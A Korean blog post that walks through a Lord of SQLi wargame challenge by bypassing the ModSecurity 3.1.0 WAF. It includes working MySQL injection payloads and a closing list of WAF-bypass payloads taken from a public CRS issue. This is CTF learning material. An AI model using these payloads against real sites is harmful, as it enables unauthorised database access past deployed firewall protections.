상세 컨텐츠

본문 제목

[LOS] cthulhu_modsecurity(Version 3.1.0_201905) bypass SQLi

기술보안/Web

by about_SC 2019. 9. 25. 17:12

본문

[LOS] cthulhucthulhu
_modsecurity(Version 3.1.0_201905) bypass SQLi

최근에 바빠서 포스팅이 없었다..ㅠㅠ..
짬내서라도 계속 올리도록 노력하자..

문제의 내용은 위와 같다.
해당 문제의 소스코드는 그리 복잡하진 않다.

하지만, 해당 문제에는 modsecurity라는 웹 방화벽이 존재하여
이를 우회하여야만 문제풀이가 가능하다.

해당 문제에 적용된 modesecurity는 3.1.0(2019.05) 최신버전으로
최신버전에서 현재 취약점이 발생한거 같아 보인다.

척척박사 구글로 검색해보자. 아래의 링크를 발견했다.
https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1181

현재, modesecurity 최신버전의 방화벽 우회는 MySQL에서만 가능하다고 한다.
위의 링크에서 공격 가능한 payload 중 하나를 써먹어보자

-1'<@=1 OR {a 1}=1 OR '

위의 구문을 이용하여 공격을 진행해보기로 하자.

id=-1'<@=1 OR 1=1 OR '&pw=1

해당 구문을 공격에 활용하면 결과적으로 문제풀이가 성공적으로 이루어진다.

중간 구문인 {a 1}=1은 테스트를 진행해볼 경우 결과가 true가 되며,
select {a 1}을 하면 1이 출력된다. 아마도 이런 이유에서 true라는 결과가 나오는지도 모르겠다.
https://dev.mysql.com/doc/refman/5.7/en/expressions.html

첫번째 구문인 '-1'<@=1 의 경우 결과가 null이 되며,
그 이유는 아래의 이미지를 참고하도록 하자.



결과적으로 전달되는 쿼리는 아래와 같다.

select id from prob_cthulhu where id='-1'<@=1 OR 1=1 OR '' and pw='1'

위와 같은 쿼리가 삽입될 경우 첫번째 구문 '-1'<@=1 은 NULL 값이 결과로 반환되며,
두번째 구문 1=1은 TRUE 값이 결과로 반환된다.

문제에서는 어떤 ID라도 존재하는 ID일 경우 문제풀이가 성공적으로 이루어지기 때문에
위의 쿼리 삽입시 문제풀이가 완료되게 된다. :)

 

++ Bypass PayLoad(Sample)

  • Following queries would bypass the protections of SQL injection attempts in PL1:
    • a'+(SELECT 1)+'
    • -1' AND 2<@ UNION/*!SELECT*/1, version()'
  • Following queries would bypass the protections of SQL injection attempts in PL2:
    • -1'<@=1 OR {a 1}=1 OR '
    • -1'<@=1 OR {x (select 1)}='1
    • a'+(SELECT 1)+'

'기술보안 > Web' 카테고리의 다른 글

[진단 시 이슈] Bypass Anlab Safe Transaction(ASTX 우회)  (0) 2020.01.19
[LOS] godzilla  (0) 2019.11.10
[SQLi] Quine SQL Injection  (0) 2019.08.20
[WEB] 503 error  (0) 2019.07.25
[WEB] Blind SQL Injection with ldap, bin, ord  (0) 2019.07.18

관련글 더보기